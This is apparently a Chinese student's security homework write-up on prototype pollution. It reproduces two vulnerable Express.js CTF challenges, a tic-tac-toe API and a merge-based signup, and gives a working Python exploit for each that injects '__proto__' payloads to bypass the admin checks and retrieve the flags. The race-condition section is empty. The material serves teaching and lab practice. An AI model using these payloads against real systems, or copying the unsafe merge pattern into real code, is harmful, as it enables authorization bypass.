安全作业-Race竞争型漏洞、原型链污染

1.race漏洞一直卡在虚拟机安装上(待研究)

2.原型链污染

  一、第一题js代码

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})

获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在。

由代码可知，全文没有对user.admintokn 进行赋值，所以理论上这个值时不存在的，但是下面有一句赋值语句：

matrix[client.row][client.col] = client.data

data,row,col，都是我们post传入的值，都是可控的，所以可以构造原型链污染

二、给出payload和执行结果

import requests
import jsonurl1 = "http://192.168.56.1:3000/api"
url2 = "http://192.168.56.1:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"headers = {"Content-type": "application/json"}
data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}res1 = requests.post(url1, headers=headers, data=json.dumps(data))
res2 = requests.get(url2)print(res2.text)

 三、第二题js代码

'use strict';const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');const isObject = obj => obj && obj.constructor && obj.constructor === Object;function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}function clone(a) {return merge({}, a);
}// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

获取flag的条件是admin.аdmin == 1而admin 本身是一个object，其admin 属性本身并不存在，而且还有一个敏感函数 merg，merge 函数作用是进行对象的合并，其中涉及到了对象的赋值，且键值可控，这样就可以触发原形链污染

四、给出payload和执行结果

import requests
import jsonurl1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getflag"headers = {"Content-type": "application/json"}
data = {"__proto__": {"аdmin": 1}}res1 = requests.post(url1, headers=headers, data=json.dumps(data))
res2 = requests.get(url2)print(res2.text)